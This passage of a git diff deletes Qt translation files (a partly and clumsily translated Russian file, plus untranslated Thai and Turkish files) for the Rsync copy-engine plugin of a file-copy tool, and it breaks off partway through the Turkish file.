- <translation>Контрольная</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Только после того, как ошибка</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Игнорировать, если невозможно</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>У контрольной суммы</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Включить OS буфер</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Фильтры</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Переименование правила</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>ОС буфер, только если меньше</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation>%1 - копия</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - копия (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>Папка не существует</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>Папки не читается</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/th/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/th/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/th/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/tr/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/tr/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/tr/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
